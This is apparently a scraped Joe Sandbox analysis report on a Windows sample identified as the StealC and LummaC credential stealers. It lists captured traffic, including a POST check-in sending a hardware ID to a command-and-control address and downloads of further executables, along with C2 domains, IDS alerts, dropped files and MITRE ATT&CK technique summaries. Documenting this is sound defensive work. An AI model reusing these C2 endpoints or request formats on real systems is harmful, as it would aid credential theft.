Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCGCFCAFIIEBGCBFCAKKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 47 43 46 43 41 46 49 49 45 42 47 43 42 46 43 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 31 33 39 46 34 42 32 33 45 38 32 30 37 38 35 38 38 37 32 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 43 46 43 41 46 49 49 45 42 47 43 42 46 43 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 43 46 43 41 46 49 49 45 42 47 43 42 46 43 41 4b 4b 2d 2d 0d 0a Data Ascii: ------FCGCFCAFIIEBGCBFCAKKContent-Disposition: form-data; name="hwid"D4139F4B23E82078588720------FCGCFCAFIIEBGCBFCAKKContent-Disposition: form-data; name="build"stok------FCGCFCAFIIEBGCBFCAKK--

Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe	Joe Sandbox ML: detected

Source: Joe Sandbox View	IP Address: 104.21.21.99 104.21.21.99
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49725 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49731 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49737 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49748 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49761 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49771 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49803 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49782 -> 104.21.21.99:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49809 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: discokeyus.lat

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report uDTW3VjJJT.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FC6S9INH3UEK91EJWRLCPKUP1.exe.log

C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe

C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
uDTW3VjJJT.exe

Function 00E7750B Relevance: 1.6, APIs: 1, Instructions: 132
libraryCOMMON

Function 00E7BACE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94
fileCOMMON

Function 00E8493C Relevance: 4.6, APIs: 3, Instructions: 57
registryCOMMON

Function 00E776BA Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 136
libraryCOMMON

Function 00E7BADE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31
fileCOMMON

Function 00E7B7AF Relevance: 1.6, APIs: 1, Instructions: 63
fileCOMMON

Function 00E7B7A9 Relevance: 1.5, APIs: 1, Instructions: 47
fileCOMMON

Function 00E7B7EC Relevance: 1.5, APIs: 1, Instructions: 36
fileCOMMON

Function 00E7B80F Relevance: 1.5, APIs: 1, Instructions: 34
fileCOMMON

Function 00E7B833 Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Function 00E7B862 Relevance: 1.5, APIs: 1, Instructions: 17
fileCOMMON

Function 00E84C18 Relevance: 1.5, APIs: 1, Instructions: 8
libraryCOMMON

Function 00CFE88B Relevance: 1.3, APIs: 1, Instructions: 26
memoryCOMMON

Function 00CFE9D3 Relevance: 1.3, APIs: 1, Instructions: 22
memoryCOMMON

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre